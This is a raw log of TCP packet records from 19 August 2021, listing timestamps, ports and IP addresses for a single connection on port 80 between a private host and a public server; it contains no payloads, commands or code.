Aug 19, 2021 07:53:39.729747057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729748964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729768038 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729789019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729789019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729809046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729826927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729834080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729846001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729866028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729866028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729887962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729903936 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729908943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729931116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729952097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729953051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729971886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729991913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729999065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730015039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730037928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730040073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730062008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730083942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730087042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730107069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730130911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730134010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730149984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730171919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730171919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730194092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730207920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730216026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730240107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730261087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730262995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730284929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730305910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730305910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730328083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730345964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730349064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730371952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730395079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730396032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730421066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730443954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730443954 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730464935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730487108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730488062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730509996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730528116 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730531931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730554104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730575085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730576038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730601072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730614901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730624914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730647087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730665922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730669022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730688095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730712891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730714083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730736971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730752945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730756998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730779886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730803013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730812073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730823994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730844021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730849028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730859041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730880022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730887890 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730901003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730921030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730931997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730952978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730973959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.730973959 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.730995893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731018066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731021881 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731040955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731062889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731065989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731087923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731091022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731106043 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731108904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731156111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731158972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731184959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731208086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731225014 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731228113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731250048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731268883 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731271029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731291056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731312990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731317997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731334925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731359005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731360912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731383085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731400967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731406927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731430054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731446981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731453896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731475115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731494904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731498003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731515884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731539011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731539965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731560946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731581926 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731583118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731605053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731626034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731628895 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731647015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731668949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731669903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731689930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731714964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731717110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731739044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731756926 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731760025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731785059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731803894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731810093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731832981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731853008 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731862068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731882095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731895924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731906891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731930971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731950045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731961966 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731971979 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.731990099 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.731992960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732019901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732032061 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.732042074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732059002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732074976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732090950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732109070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732131004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732132912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.732147932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732165098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732181072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732198000 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732214928 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732232094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732249022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732265949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732283115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732299089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732315063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732330084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732347012 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732364893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732383013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732398033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732414007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732430935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732450962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732469082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732494116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732512951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732532024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732543945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.732558966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.732573032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.732594967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.732625008 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.735654116 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.740961075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.740999937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.741024017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.741040945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.741067886 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.741070986 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.751754999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.751838923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759576082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759613991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759651899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759670019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759684086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759696007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759705067 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759710073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759723902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759735107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759742975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759759903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759774923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759787083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759790897 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759810925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759824991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759835958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759857893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759860992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759874105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759886026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759896040 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759911060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759919882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759936094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759953976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759960890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759968996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.759985924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.759999990 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760010004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760016918 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760035038 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760052919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760059118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760067940 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760085106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760099888 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760108948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760128021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760135889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760147095 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760160923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760168076 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760185957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760199070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760210991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760215998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760235071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760257006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760258913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760283947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760288000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760305882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760308981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760330915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760334969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760349035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760360003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760368109 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760385990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760399103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760411024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760418892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760435104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760452032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760459900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760472059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760484934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760492086 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760509014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760526896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760534048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760544062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760560989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760584116 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760590076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760601997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760616064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760632038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760643005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760652065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760670900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760684013 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760696888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760711908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760725975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760730982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760754108 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760765076 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760781050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760811090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760811090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760821104 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760844946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760855913 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760873079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760885954 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760895014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760916948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760922909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760932922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760948896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760962963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.760977030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.760987997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761003971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761018038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761033058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761044025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761070013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761077881 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761101961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761113882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761133909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761143923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761164904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761176109 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761197090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761209011 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761229992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761238098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761260986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761269093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761296034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761301041 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761324883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761338949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761349916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761364937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761380911 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.761382103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.761410952 CEST	80	49738	193.142.59.119	192.168.2.7
